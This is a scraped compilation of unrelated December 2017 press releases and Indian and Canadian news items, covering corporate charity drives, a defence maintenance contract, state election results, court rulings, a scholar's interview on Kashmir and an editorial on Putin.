Energize Learning is part of Hersheys shared social purpose, Nourishing Minds. Using its expertise in food production and processing, Hershey is providing children with the basic nutrition they need to learn and grow. This partnership moves Hershey one step closer toward its goal of nourishing one million children by 2020. For more information visit NourishingMinds.com.

About The Hershey Company

The Hershey Company, headquartered in Hershey, Pa., is a global confectionery company known for bringing goodness to the world through its chocolate, sweets, mints and other great-tasting snacks. Hershey has approximately 18,000 employees around the world who work every day to deliver delicious, quality products. The company has more than 80 brands around the world that drive more than $7.4 billion in annual revenues, including such iconic brand names as Hershey's, Reese's, Hershey's Kisses, Jolly Rancher and Ice Breakers. Building on its core business, Hershey is expanding its portfolio to include a broader range of delicious snacks.

At Hershey, goodness has always been about more than delicious products. For more than 120 years, Hershey has been committed to operating fairly, ethically and sustainably. Hershey founder, Milton Hershey, created the Milton Hershey School in 1909 and since then the company has focused on giving underserved children the skills and support they need to be successful. Today, the company continues this social purpose through 'Nourishing Minds,' a global initiative that provides basic nutrition to help children learn and grow. From neighborhoods across the United States to the streets of Shanghai and Mumbai and villages of West Africa, our goal is to nourish one million minds by 2020.

To learn more -

Visit: www.thehersheycompany.com

Follow:

http://www.twitter.com/hersheycompany

https://www.linkedin.com/company/the-hershey-company?trk=top_nav_home

http://www.facebook.com/hersheycompany

http://www.youtube.com/hersheycompany

http://www.instagram.com/hersheycompany

Contact:

Jeff Beckman

jbeckman@hersheys.com

A photo accompanying this announcement is available at http://www.globenewswire.com/NewsRoom/AttachmentNg/ea1c301f-ac8a-4f2f-bfcb-14918f746a5b
REGINA, Manitoba, Dec. 19, 2017 (GLOBE NEWSWIRE) -- Throughout the month of November 2017, Subway guests were asked to make a donation to their local food bank. Generosity abounds and because of these donations, Subway Franchisees of Saskatchewan have collected $11,997.90 for the Food Banks in Manitoba.



Starting early in November 2017, on the heels of National Sandwich Day, Subway guests throughout Saskatchewan were asked to support food banks in the province by donating to their local food bank when paying for their Subway meal.

Corporately, Subway Canada has added $9,349.79 to the customer contributions, bringing the total for the 2017 donation to the remarkable $21,247.69.

With the purchasing power of the Food Banks of Saskatchewan, each dollar donated becomes $3 in food for the clients using the services of the food banks and agencies located throughout the province. The Subway of SK donation will buy $63,743.07. 00 in food for hungry people living in Saskatchewan.

All funds donated will stay in the neighbourhoods in which they were collected, making this a true neighbour helping neighbour campaign.

Food banks in Saskatchewan respond to over 30,000 requests provincially for services per month, half of those requests benefiting school aged children. With the much-needed cash donations, Food Banks of Saskatchewan can purchase fresh, nutritious foods like fruits, vegetables, eggs, dairy and protein; all essential to good health, particularly in growing children.

We could not be more appreciative of the support provided by the management, staff and of course, the caring customers of Subway locations across the province. Says Steve Compton, Executive Director, Food Banks Saskatchewan. He goes on to say, The proceeds raised by this incredible campaign will ensure that provincial food banks are able to help those in need in the communities we serve through the winter months.

About SUBWAY of SK  In the 134 Subway restaurants in Saskatchewan, fresh-made sandwiches are prepared by Sandwich Artists. Subway offers a fresh alternative to traditional fast food, serving 7 million made-to-order sandwiches a day. Guests choose from 37 million combinations of quality proteins, fresh vegetables, and bread baked daily. The worlds largest restaurant chain serves nutritious and delicious subs, soups, and salads at more than 44,000 restaurants in 113 countries. The Subway experience is also delivered online at www.Subway.com.

About Food Banks SK  Food Banks of Saskatchewan is the provincial association of food banks working together to build, support and strengthen relationships with the community to better serve and advocate on behalf of hungry and food insecure people across Saskatchewan. Food Banks of Saskatchewan, through member food banks also delivers programs and services that provide education, supports and services that strengthen and motivate those we serve to individual and family independence.

For interviews, images or additional info, contact

Jane Ince  i2i Advertising and Marketing - Jane@i2iadvertising.com or 604 818 6047

A photo accompanying this announcement is available at http://www.globenewswire.com/NewsRoom/AttachmentNg/09d98519-e54a-40f7-8a40-a38de27ee03e




CALGARY, Alberta, Dec. 19, 2017 (GLOBE NEWSWIRE) -- ATCO Ltd. (TSX:ACO.X) (TSX:ACO.Y) announced today it has been chosen by Defence Construction Canada, the procurement partner of Canadas Department of National Defence (DND), to provide facility maintenance and support services at Canadian Armed Forces (CAF) sites across the Canadian North. The contract builds upon ATCOs long history of delivering operational support solutions for military camps, as well as airfield and logistics services.

We are tremendously proud to provide these essential services in support of the brave men and women of the Canadian Armed Forces, said Jim Landon, Senior Vice President & General Manager of ATCOs Frontec division. Our people understand the unique challenges and opportunities associated with working in the North, where weve been supporting, partnering and providing innovative solutions to customers and communities for decades.

The initial five-year contract is valued at $79 million, with an option for a five-year extension. ATCO will provide facility inspection, maintenance and repair, new construction and upgrades, trade services and environmental services to CAF sites in Yellowknife, Whitehorse, Inuvik, Rankin Inlet and Iqaluit.

We are committed to supporting local communities at each site location through procurement, employment and training opportunities, added Mr. Landon. With investments and partnerships across the region, we recognize the importance of working collaboratively with our partners in business, government and Indigenous communities to realize the shared economic promise of Canadas North.

ATCO is one of Northern Canadas largest and most diverse enterprises. Generating and delivering safe and reliable power in the Yukon since 1901 and the Northwest Territories since 1951, the company currently delivers energy solutions to nearly 30,000 customers in dozens of communities across the region. For more than 30 years, ATCO has also partnered with Denendeh Investments Incorporated (DII) in Northland Utilities. DII was created to hold for-profit investments made collectively by the Dene First Nations of the Northwest Territories.

In addition, ATCO has built modular facilities for the DND in Nanisivik, Nunavut and directly supports the North American Aerospace Defense Command, providing operations and maintenance services at 15 strategic radar sites that form the Alaska Radar System. For more than 25 years, ATCO, through its Nasittuq joint venture, also provided operations and maintenance support to 47 unmanned long and short-range radar stations that comprise Canadas North Warning System.

Some of the companys additional past and current military and defence projects include providing support services at the Kandahar Airfield in Afghanistan and managing and maintaining services at the NATO Flying Training Centre in Moose Jaw, Saskatchewan for nearly two decades.

A photo accompanying this announcement is available at http://www.globenewswire.com/NewsRoom/AttachmentNg/feaef7c5-c5ab-4840-8735-7e922b085c02

With approximately 7,000 employees and assets of $21 billion, ATCO is a diversified global corporation delivering service excellence and innovative business solutions in Structures & Logistics (workforce housing, innovative modular facilities, construction, site support services, and logistics and operations management); Electricity (electricity generation, transmission, and distribution); Pipelines & Liquids (natural gas transmission, distribution and infrastructure development, energy storage, and industrial water solutions); and Retail Energy (electricity and natural gas retail sales). More information can be found at www.ATCO.com.

Investor Inquiries:

D.A. (Dennis) DeChamplain

Senior Vice President & Chief Financial Officer

403-292-7502

Media Inquiries:

Leanne Madder

Senior Communications Advisor

403-968-3086



Forward-Looking Information:

Certain statements contained in this news release may constitute forward-looking information. Forward-looking information is often, but not always, identified by the use of words such as anticipate, plan, estimate, expect, may, will, intend, should, and similar expressions.

Forward-looking information involves known and unknown risks, uncertainties and other factors that may cause actual results or events to differ materially from those anticipated in such forward-looking information.

The Companys actual results could differ materially from those anticipated in this forward-looking information as a result of regulatory decisions, competitive factors in the industries in which the Company operates, prevailing economic conditions, and other factors, many of which are beyond the control of the Company.

The Company believes that the expectations reflected in the forward-looking information are reasonable, but no assurance can be given that these expectations will prove to be correct and such forward-looking information should not be unduly relied upon.

Any forward-looking information contained in this news release represents the Companys expectations as of the date hereof, and is subject to change after such date. The Company disclaims any intention or obligation to update or revise any forward-looking information whether as a result of new information, future events or otherwise, except as required by applicable securities legislation.




Magma Fincorp Ltd. announced the names of 100 students who have been selected this year for the M Scholar scholarships. The number of students to attain the scholarship has been increased from 50 to 100.

The scholarship was launched in 2015 to provide opportunity to students coming from underprivileged families, to pursue higher education after +2. It offers an amount of 50,000 that can be paid in four month installments.

Applicants from around 16 states are given scholarships each year. Students coming from families with an annual income of below 10,000 are required to score at least 80 per cent in order to qualify for the scholarship. This year, from Eastern India, a total of 47 students have received the scholarship.

Book launch

Oxford Bookstore, Kolkata hosted the launch of Victoria and Abdul: The True Story of the Queens Closest Confidant written by author and journalist Shrabani Basu. It was launched by Bruce Bucknell, the British deputy high commissioner.

The book is about the friendship between Queen Victoria and her Indian servant named Abdul Karim. The author showed pictures of Queen Victoria and Abdul Karim and narrated a gist of the story. As I started my research, I heard the letters had been burnt. So, I went to the British Archives in search of Queen Victorias journals where the archivist had brought in 13 volumes of Urdu journals, said Basu.

The book has been adapted into a film titled Victoria and Abdul wherein the author worked as a consultant in tandem with renowned screenplay writer Lee Hall. She looked after the costumes, procured photographs from the British Library, played a role in the production design and was heavily involved with the screenplay and characterisation. She revealed how the filmmaker took the artistic liberty to fictionalise the character of Bakshithe other servant who accompanied Abdulin the film.

Cake mixing

Subhas Bose Institute of Hotel Management celebrated their annual cake mixing ceremony in the presence of renowned Tollywood actor Arjun Chakraborty and eminent chef Manjit Singh Gill at their New Town campus. It was the largest cake mixing ceremony in the city involving students. Bidisha Sarkar, director of the institute, was present to address the media.

The cake mixing ceremony is a tradition that dates to 17th century Europe and is now celebrated worldwide. Heaps of dry cherries, dates, plums, assorted dry fruits, black currants, dried figs and glace cherries were placed on a mixing tray and liquor was poured over them.

Research oriented

Sathyanarayanan, president, SRM University, AP-Amaravati, announced the setting up of School of Liberal Arts and Basic Sciences at its university in the presence of Nicholas Dirks, pro chancellor and D Narayana Rao, pro vice chancellor of the university.

Slabs will encourage fundamental research, where free, open and critical inquiry is pursued across disciplines, finding answers and solutions to worlds most challenging problems and daunting issues. It will have its first intake of students in 2018 and will offer BA, BBA, BCom and BSc programmes across 12 departments.
The Ministry of Culture which had requested five states to provide land for opening of regional centres of National School of Drama (NSD) has till date received response from only one state, Culture Minister Mahesh Sharma said on Monday.

According to the minister, only Karnataka government has provided accommodation in 2013 at Bengaluru for the purpose where one year theatre training course is being organized by NSD.

Currently, the Bengaluru centre is running a one year course on dramatic arts.

The Broad Based Committee (Vision Committee) which was set up by the NSD Society in February 2005, had recommended opening of five regional centres of the institute across the country, during the 11th Five Year Plan period (2007-2012) one each at Kolkata, Mumbai or Goa, Jammu and Kashmir and North-East.

The Government of Jammu and Kashmir and Assam have been reminded for providing the accommodation for the purpose of opening of NSDs regional centre but there has been no response from them so far, Sharma said.

The minister informed that in spite of an advertisement issued in 2016 in the leading newspapers, the Maharashtra government has not provided the requisite space for NSDs centre and efforts are being made to provide requisite space.

In Kolkata, the culture ministry had taken up the matter with various organizations under its control at Kolkata for providing accommodation for opening of a new centre of NSD over there but they have shown their inability to provide accommodation for the purpose, he added.
Bagging this years Infosys Prize for the Humanities, Ananya Jahanara Kabir, professor of English Literature, Kings College London, shares some very individualistic thoughts and experiences which led to her insightful research on Kashmir. As a scholar she firmly upholds the notion that the field of humanities works as a catalyst in conflict resolution and peace keeping. Excerpts from an interview:

Q Can you elaborate on your research on Kashmir?

My research examined the construction of the valley of Kashmir as a territory of desire: a space which at least three nations have fought for control of, and continue to do so. Why has the valley been so intensely desired?

I dissect the statement, Kashmir is an integral part of India as a collective desire on the part of the citizen towards a space that they may have little actual experience of. I investigated on what produced that desire, what sustains it as a political force, what resistance to it may exist, and, whether it can be channelled into non-militaristic modes of conflict-resolution. Because it was clear that the image of the valley as a space of ideal natural beauty was primarily produced visually, I investigated Bollywood films and established that the views they promote were a direct inheritance from colonial pioneers of high altitude photography. To understand why such photographers would be motivated to travel to these mountainous regions with cumbersome equipment in the late 19th century, I searched for ways in which colonial and indigenous authorities in the 19th and early 20th centuries were constructing the valley as a space of antiquity, learning and beauty. There were clear connections between those colonial discourse and postcolonial ways of enjoying Kashmir as a space of escape, tourism and adventure. In the process, the people of Kashmir had been erased from the space. But that didnt mean they didnt have their own understanding of their landscape and relationship to its undeniable beauty. So my book also looked at poetry, short stories, visual art, and films by Kashmiris.

Q What pushed you to work on Kashmir?

After the Godhra violence, I felt a keen sense of responsibility to understand and analyse all that was erupting around us. As an Indian citizen, I felt most responsible for the lack of knowledge around Kashmir as a space of culture and civilisation. Only when I started researching Kashmir, for instance, I started understanding what Koshur, the Kashmiri language, means to Kashmiris. I wanted to go beyond the stereotypes to find out more about that space and link different things together-our ignorance about Kashmiri culture, our use of the valley as a space of tourism and escape, the conflict, and the relationship of the colonial past and the postcolonial present. I believe I found some answers.

Q How did you go about the research?

I constructed a corpus of primary materials of different kinds-colonial photography, films, poetry and prose written by Kashmiris in different languages, sculpture, handicraft and painting. Obtaining them necessitated several trips to Kashmir, Bombay and Delhi. I even went to Mexico City to view an exhibition of the latest paintings by artist Nilima Sheikh, whose dialogue with Kashmir poet Agha Shahid Ali forms a thread through the book. Often I had the sense of pursuing secrets that were hidden behind straightforward representations, and often the base level of representation would turn out to be a trapdoor leading to deeper levels. I began to theorise these connections through ways of knowing that we may dismiss as irrational, such as Sufism, but which have relevance and meaning for us in South Asia as alternative and valid modes of accessing and formulating knowledge. My research, in the end, was about talking to Kashmiris, sensing through their narratives, an alternative history of understanding Kashmir, and hunting for research connections based on those clues.

Q Given the burning issues of Kashmir, how challenging was the project?

I visited Srinagar and Jammu several times between 2003 and 2008. My first challenge was to get to know people and establish relations of trust and reciprocity. However, we are talking about a long-term conflict zone, which was in those years marked by an uneasy but fragile lull in overt violence. The presence of the military was everywhere, and it was clearly not a normal place. The people were supremely hospitable and welcoming, even though they had every right to refuse to be, as research on Kashmir, as with any conflict zone, can degenerate into something of an industry. I had to be keenly aware of my ethical responsibilities as a researcher, to be mindful of emotions, traumas, and burdens. The biggest challenge was to conduct meaningful and sensitive research without breaking the trust of people or misjudging their capacity to survive and overcome their ordeals.

There was every chance of being caught up in violence. But looking back, I realise I put all thoughts of my own safety on hold whenever I went to Srinagar. Sheer passion for my work carried me through, as did the warm relations I developed there over the years.

Q What do you aim to achieve through this research?

Through my research I aimed to make everyone sit up and rethink the statement, Kashmir is an integral part of India. I wanted to show people how ideas and positions we take for granted have a history. Also to excavate and narrate that history, so that people asks whether we cant change the way things are by imagining non-violent ways of relating to each other.

An important issue was the general invisibility of Kashmiris from mainstream understanding of Kashmir. To bring them back into discussions and its representation was a motivation of this research and I hope I achieved that in some way. I also wanted to show people that the knowledge produced by arts and humanities research is an undervalued but supremely important resource for conflict resolution and peacekeeping.
Punjab chief minister Amarinder Singh has urged External Affairs minister Sushma Swaraj to take up with Pakistani authorities the issue of alleged forced conversion of Sikhs to Islam in the Khyber-Pakhtunkhwa province.

Expressing concern over reports that the Sikh community in Hangu district of Khyber-Pakhtunkhwa province had complained of such conversions, the CM said the Indian government was duty-bound to ensure that Sikhs in any part of the world are not victimised or coerced in any manner.

Pointing out that the community, which had been living in the area for more than a century, reportedly filed an official complaint to the district deputy commissioner, Amarinder said it was a serious issue, especially considering that the forced conversions were allegedly being spearheaded by a government official.

It was the responsibility of the Indian authorities to intervene in the matter and ensure that the said coercion is brought to an end, said the CM, adding, We are duty-bound to protect the identity of Sikhs, wherever they may be living.

The CM said the Ministry of External Affairs pursue the matter at the highest levels in Islamabad so that this religious torture is brought to an immediate end. Religious freedom is the right of every human being and should be upheld by all countries in the larger interest of humanity, he added.

The CM said Swarajs intervention in the matter would help protect this basic right of the substantial Sikh community settled in Pakistan.
The Delhi High Court on Monday directed the All India Institute of Medical Sciences (AIIMS) to produce before it the medical opinion given by the doctors on plea of a minor rape victim, seeking to medically terminate her pregnancy.

A division bench of Justice Vipin Sanghi and Justice P.S. Teji ordered AIIMS to produce the medical opinion provided by its doctors by Tuesday as the father of the 14-year-old minor pleaded that his daughter wanted to terminate her pregnancy.

On November 27, the accused in the case was taken into custody. The Child Welfare Committee (CWC) had sought advice from the AIIMS if the medical procedure was safe.

The father claimed that the AIIMS has refused to carry out the procedure to terminate the pregnancy and opinion of the doctors was not even given to him.

The girl was recovered from village Narora in Uttar Pradeshs Bulandshahr. She was then sent to Prayas Juvenile Aid Centre as she refused to go with her parents. Later, the girl went back to her parents and expressed desire to undergo medical procedure to terminate her pregnancy.

The father has sought immediate constitution of a medical board at AIIMS to examine if it was medically safe to terminate the pregnancy.
SAN DIEGO, Dec. 19, 2017 (GLOBE NEWSWIRE) -- Ziyen Inc.s procurement portal, Rebuilding Iraq has recently signed on as a Gold Media Partner for Iraq Petroleum 2018 in Berlin, Germany on February 27th-28th, 2018.



Iraq Petroleum 2018 is one of the key events organized by CWC Media and brings together Iraqs oil and gas industry to enhance international cooperation from the international energy community to support the countrys hydrocarbons sector and re-establish it on the world energy map as the next oil and gas cluster.

In its 12th edition working year on year with the Federal Government of Iraq and the Ministry of Oil, the conference is renowned for gathering the countries' senior Government representatives alongside key industry stakeholders to drive the strategy for the year ahead in one of the world's most important oil and gas markets. In 2017, the Iraq Petroleum Event drew over 200 speakers and sponsors include Shell, Chevron, LUKOIL, Petronas and Baker Hughes.

The partnership with CWC Media will provide further global exposure to Rebuilding Iraqs comprehensive tender, project and news notification services. This partnership also marks the launch of Rebuilding Iraqs new Business Development service offered in the websites Gold Membership Service in which a thorough marketing and sales plan is created for a clients specific business requirements.

Greg Simpson, Head of Business Development for Ziyens Intelligence Software Division, based out of the UK adds:

With 100 billion dollars being invested in Iraq in the coming years, we are excited to be a part of an event that promotes business in the country. As a Gold Media Partner, Rebuilding Iraq will continue to advance CWCs profile whilst showcasing our business development services at the upcoming Iraq Petroleum Event in Berlin. This is one of a number of key enhancements we have recently developed as part of our service relaunch, as we seek to provide additional value to our new and existing members, at an exciting time for business opportunities and expected growth throughout Iraq.

Rebuilding Iraq is a leading international source of tenders, contracts and news in Iraq. The portal currently has over 5000 users, published over 40,000 contracts and tenders and has over 350,000 followers across social media.

Head of Business Development, Greg Simpson and Business Development Manager, Cameron Murray will attend CWCs Iraq Petroleum Event in Berlin, Germany on February 27th-28th to represent Rebuilding Iraq.

About Ziyen Inc.

Founded in 2016, Ziyen Inc. is a Scottish-American company developing cutting edge procurement software to provide clients with industry specific government and private contracts via procurement portals. In 2017, Ziyen diversified, instating the Ziyen Energy Division, with intent to produce oil in the U.S. with advanced extraction methods and technology implemented and guided by career experts in the oil and gas industry. In June 2017, Ziyen acquired the mineral rights to its first oil field in Indiana, and now has two assets. The U.S. Securities and Exchange Commission (SEC) recently qualified Ziyen Inc. in November 2017 for our second round of funding, with a pre-IPO share price of $1.50. More information may be found in its Offering Circular filed with the SEC, or on their website www.ziyen.com

About Granite PR

Founded in 2008, Aberdeen-based Granite PR offers the full spectrum of PR services with an emphasis on the energy, technology, hospitality, food and drink, professional services and healthcare sectors. The company has developed strong links in domestic and overseas markets, particularly the US and Scandinavia, and these have been enhanced by Granite PRs Gateway series of business events which encourage trade between key locations. For more information visit www.granitepr.co.uk

Forward Looking Statements:

Certain statements in this press release including, but not limited to, statements related to anticipated commencement of commercial production, targeted pricing, performance goals, and statements that otherwise relate to future periods are forward-looking statements. These statements involve risks and uncertainties, which are described in more detail in the Company's periodic reports filed with the SEC- specifically the most recent reports which identify important risk factors that could cause actual results to differ from those contained in the forward-looking statements. Forward-looking statements are made and based on information available to the company on the date of this press release. Ziyen Inc. assumes no obligation to update the information in this press release.
The merged areas of Himachal Pradesh have once again rejected personality cult, a phenomenon which is very much prevalent in upper areas of the hill state.

While none could take the politically alert folks of biggest Kangra district for granted as they have a history of defeating tall leader and former BharatiyaJanata Party (BJP) chief minister, Shanta Kumar twice in Assembly polls even after he rose to top chair in 1977, this time, a big debacle has come from Hamirpur.

The BJP ousted Congress from power by getting 44 out of 68 seats, but two-time CM, Prem Kumar Dhumal, who was declared CM face of BJP in the run up to 2017 polls, lost to his own protege, RajenderRana of Congress in Sujanpur by a margin of 1919 votes.

This was against expectations as the BJP had declared Dhumal as CM candidate after some initial hitches, going by his popularity. Dhumal was asked by high command to shift his constituency from Hamirpur to Sujanpur to fight against Rana, which turned out to be a miscalculation.

We will introspect the reasons, an upset Dhumal could only say this after conceding the defeat.

While two-time CM Shanta Kumar, it is said, bore the brunt of people for his plain speak and strict approach in politics, Dhumal, people say, lost the poll more due to the grass root rapport of his opponent and his own over-confidence.

Dhumal apart, state BJP chief Satpal Singh Satti, three- time MLA in a row, lost to Congress candidate Satpal Singh Raizada by 3,196 votes in Una. Former BJP minister, Ravinder Singh Ravi, who won five times consecutively since 1993 from Dehra in Kangradistrict was ousted by a novice, an independent, Hoshiar Singh by a margin of over 4000 votes in a triangular fight. The trend of rejection of big faces was across the party lines.

In Kangra, a high profile senior minister, GS Bali, who had been winning Assembly poll from Nagrota since 1998 (four times) lost to Arun Kumar Kuka by 1000 votes, and another minister in Virbhadra cabinet, Sudhir Sharma (who secured consecutive three wins since 2003)lost to former BJP minister, KrishenKapoor in Dharamshala. People in merged areas of the state are always instrumental in changing the government because they vote on performance and attitude, analyse political observers.
Seems like Salman Khans Tiger Zinda Hai will not see a release in Mumbai as MNS chief Raj Thackrey has threatened cinema owners of consequences if they gave preference to Salmans film over Marathi film, Deva, in the prime slots on December 22.

According to reports, Thackrey wants the cinema owners to screen Marathi films as he believes that regional films should not suffer because of big budget films.

Its not a threat. We want Marathi films to be screened at prime time as they dont get enough time slots. Why should regional films bear the loss? Theres nothing wrong in promoting Marathi culture. Cineplex owners have to abide by our demand, you can take it as a threat, a MNS spokesperson said in a statement.

After the controversies surrounding Padmavati, the film industry has to face the wrath of political organisations for a second time in just one month and Tigers fate is yet to witness in Mumbai.

Directed by Ali Abbas Zafar. Tiger Zinda Hai will release worldwide on December 22.
Former Kerala Chief Minister Oommen Chandy on Tuesday got interim relief from the Kerala High Court in the solar scam case as the court said the sleaze letter should not be discussed for two months.

Chandy on Monday approached the Kerala High Court with a plea to quash the Justice G Sivarajan (retired) judicial probe report on the solar scam, submitted to Chief Minister Pinarayi Vijayan earlier this year.

The high court also slammed Vijayan for speaking about the sleaze letter written by Saritha Nair, the prime accused in the multi-crore solar scam case.

The court came down heavily on Vijayan for his press conference wherein he spoke in detail based on the letter, which the court felt amounted to character assassination and could have been avoided.

The letter was written by Saritha Nair, when she was in jail, names Chandy and numerous other top Congress leaders for sexually exploiting her.

The multi-crore solar energy investment fraud that rocked the then Chandy government in 2013 was led by Nair and her live-in partner Biju Radhakrishnan, as it came to light that a section of the Chief Ministers Office had links with the couple.

The court also said the authorities looking into the case can, however, go forward with their work.

Senior Congress leader Kapil Sibal appeared for Chandy, and the plea for the manner in which Vijayan handled the judicial probe report of Justice G. Sivarajan (retd) into the solar scam was pointed out.

When the counsel for the Kerala government asked for a days time for the petition to be heard, the court refused and said it would be posted in the afternoon.

In the afternoon, the court directed that the sleaze letter should not be discussed either by the media or in any form for two months and posted the case, wherein Chandy has sought to quash of the report, for January 15.

Reacting to the courts observation, Communist Party of India-Marxist (CPI-M) central committee member A. Ananthan said he is surprised over the way the court has come out with the directions, that a letter which has already become a public document should not be discussed.

Honestly fail to understand this, because this is part of a judicial commission probe report and it has been accepted by the government and it has become a public document, said Ananthan.

Senior Congress legislator K.C. Joseph welcomed the courts decision and said all of them are of the firm opinion that the report is being used politically.

Kerala Bharatiya Janata Party (BJP) leader M.T. Ramesh said such letters should never become a public document as there is every chance of it being used for blackmail.

Sivarajan submitted his report to Vijayan earlier this year.

On October 11, Vijayan told the media that the judicial report has been accepted and cases would be registered against Chandy and all others based on Saritha Nairs letter.

Following this, on November 9, Vijayan called a special one-day session of the Kerala Assembly to place the report in the house.
The Congress on Monday demanded a probe against Prime Minister Narendra Modi for flying on a sea-plane during election campaign in Gujarat without Special Protection Group (SPG) security.

Party General Secretary in-charge of Gujarat Ashok Gehlot asked how was the Prime Minister allowed to fly on a sea-plane without the SPG and demanded action against those who allowed it.

What was the objective behind it? It had no significance during Gujarat elections. The seaplane came all the way from the US to Pakistan, and then to Mumbai to the river front in Gujarat, he said.

How can the Prime Minister fly on a sea-plane without taking the SPG along. To win elections, he can go to extent. Both the pilots were foreigners, he added.
Prime Minister Narendra Modi said by voting his party back to power in Gujarat and the victory in Himachal Pradesh, shows the people have chosen the path of development.

He said the results have proved the country is ready for reforms and the Middle Class is asserting itself and wants its aspirations fulfilled very soon.

Modi said the Bharatiya Janata Partys (BJPs) serial victories from municipal bodies to state assemblies are a stamp of approval of his reformative policies including the Goods and Services Tax (GST).

During the municipal body polls in Uttar Pradesh, it was being said that the GST would finish the BJP. Same canards were being spread before the Gujarat elections too. But from the (recently held) municipal bodies elections to the assembly elections, the public has given us unprecedented mandates, Modi said.

These election results have proved that the country is ready for reforms, is looking positively at a government that can perform and is showing its belief in transformation, Modi said.

He said there was a time when the common people did not have too many aspirations, and would be content with the way the system was going on. But now the time has changed and people, especially the Middle Class, are asserting themselves like never before. They have aspirations and want them fulfilled sooner than later.

He said only the path of development would lead to the welfare of the people.
As Rahul Gandhi takes charge as Congress president, party circles are trying to guess who he will appoint as his Ahmed Patel. In other words, who will be his all powerful political secretary?

Many names are doing the rounds, including that of old warhorse Kamal Nath. The veteran leader is being promoted by a section of old hands who feel that he has all the credentials that Patel had which made him so indispensable to Sonia Gandhi. Nath can be a bridge between the old and the new generations in the party. Also, having been around for over four decades, he knows political leaders across the spectrum. This would be useful for Rahul as the Congress hopes to stitch up a broad-based coalition to take on Modi in the 2019 general election.

But there is a section that feels Rahul should put together an entirely new team with fresh faces to give the Congress a younger and different look. They are pitching Rahul as the Tony Blair of the Congress party. Blair is the former British Prime Minister who revamped the Labour Party to take on the Conservatives in the UK and succeeded.

The appointment of his political secretary is one of the first decisions Rahul is expected to take along with the reconstitution of the party setup with new office bearers. Congress circles are hoping that he will do this quickly to convey the impression of a decisive leader who knows his mind.

Reviving the seaplane idea

The seaplane that was Narendra Modis flamboyant final touch to his Gujarat election campaign has an interesting history. It is now known that the plane flew into Mumbai from Karachi on December 3 before it was pressed into service to fly Modi on December 12 from the Sabarmati river front to Mehsana and back.

But apart from the Karachi connection, there are several intriguing aspects to the story of the seaplane. Contrary to BJP claims that this was the first ever seaplane ride in India, this amphibian aircraft has been tried and tested several times over the past seven years in an attempt to introduce commercial travel on the countrys waterways.

In fact, just last year, trial runs were conducted at Mumbais Girgaum Chowpatty at which union ministers Nitin Gadkari and Ashok Gajpati Raju were present. This was done in an effort to revive plans to start sea commercial traffic.

At least two attempts were made during UPA rule to introduce seaplanes but both failed. One was in 2010 when the first ever seaplane was launched to the Andaman Nicobar Islands. The project was stalled.

Then the Kerala government tried to promote a seaplane service on the states waterways. There were protests from the local fishing community and so the proposal was abandoned.

This is the third attempt to introduce seaplanes in India. Apart from the development message that Modi tried to convey by using the plane, his ride was also aimed at promoting an idea that has flopped twice but which his government wants to revive.

Poll demands

Despite the trumpeting of the close friendship between Narendra Modi and Japanese prime minister Shinzo Abe, diplomats were surprised to see that the government did not send a high-level political representative to the Japanese national day celebrations earlier this week. The convention is that the host country is represented by a cabinet minister or a minister of state at national day functions of various countries that have embassies in New Delhi. Among those who usually perform this function are Jitendra Singh, V K Singh and M J Akbar.

But with the entire government camped in Gujarat for the closing days of the election campaign, no one seems to have had the time or mind space to attend to this matter of protocol. As a result, the government was represented only by officials of the foreign office, which is not quite the same as sending a minister.

Fortunately, the Japanese seemed to be in an understanding mood. Probably they also realised how crucial the Gujarat election was for the Modi government. And so, they did not press for a political guest of honour at their national day.

Preserving heritage

Union minister of state Vijay Goel was awarded the prestigious UNESCO 2017 Asia Pacific Award for the remarkable restoration work he has done on a crumbling haveli in the Walled City. The haveli is called Haveli Dharampura and functions as a heritage boutique hotel in the narrow bye-lanes of Chandni Chowk.

While the UNESCO citation lavished praise on Goel and his Heritage Indian Foundation for the manner in which they restored a bit of Indias glorious past, what was interesting was the compliments paid by BJP ministers who spoke at the function, including Goel.

So what if Modi was lambasting Aurangzeb Raj in Gujarat. Goel and his minister friends hailed the preservation of Mughal architecture and heritage through the restoration of this haveli. One speaker even talked of our beloved Shahjahanabad. This is the old name of the Walled City which was built by the Mughal emperor Shah Jahan.

Interestingly, Goel has ambitious plans to conserve more of Delhis Mughal heritage in the Walled City. Lahori Gate is one of the places he hopes to restore to its old grandeur.

Wonder what the Sangh followers who want the Taj Mahal demolished would have to say about Goels plans.
The Kremlin has emitted two critical signals in the span of a week, both designed to reinforce Vladimir Putins firm geopolitical ground. Having completed his victory lap in Syria and Egypt, he has announced a substantial pullout of Russian troops from embattled Syria. Friends, the motherland is waiting for you, he told the Russian soldiers. You are coming back home with victory. The starry-eyed euphoria over battlefield honours is now buttressed with the announcement that the President of Russia will run for re-election on 18 March. The developments are inter-related ~ the troop pullout in Syria and the next election for President. Bringing back some of the Russian forces ~ who are reportedly deployed alongside thousands of Kremlin-connected private contractors ~ is expected to boost his political prospects. Russian casualties in Syria are a closely guarded secret, as are the financial costs of the operation. In geopolitical terms, Putins war in Syria has turned out to be a profitable investment for the Kremlin. He may even have convinced the average Russian voter that the terrorism in Syria is actually political opposition to Assad.

The fact of the matter must be that while a large section of the populace has been confronting the repressive dictator, the forbidding challenge of the ISIS emanates from its anxiety to step into the vacuum. The Caliphate may have been crippled in Raqqa, but the threat remains fearsome. Putin may also be bidding to convince the electorate that Russian involvement in Syria has not been a disaster. He has exploited the western strategic disarray, most particularly Americas reluctance to be drawn deeper into the conflict, a geostrategic strand that somehow binds the regimes of Barack Obama and the volatile Donald Trump.

Well might Mr Putin claim the diplomatic high ground. Nonetheless, it is hard not to wonder why he has resolved to contest as an Independent ~ an electoral option that makes his domestic agenda ever so significant. A leader who has been at the helm since 1999, he will be Russias longest-serving President after Stalin should he win a fourth term a triumph that seems almost certain. And yet after two decades in the Kremlin, he hasnt spelt out the reason for the proposed paradigm shift in matters internal. Chiefly, he is aiming into the future, primarily to make the countrys economy more flexible and enhance its efficiency. After the disintegration of the Soviet Union, this is for the first time in 27 years that the Kremlin is anxious to improve the quality of life in a country that oscillates between chic consumerism and Soviet-style ideology. Markedly, he has dispensed with the support of his traditional party, United Russia, to contest as an Independent. No party label will guide Putins governance.
The current shortage of doctors in rural areas is mainly due to four reasons: 1) there is an aggregate shortfall of doctors in India; 2) there is greater demand for doctors and associated higher returns for private practice in the urban areas; 3) lack of adequate infrastructure and technology in the rural areas, and 4) mismatch between training standards of doctors and rural needs.

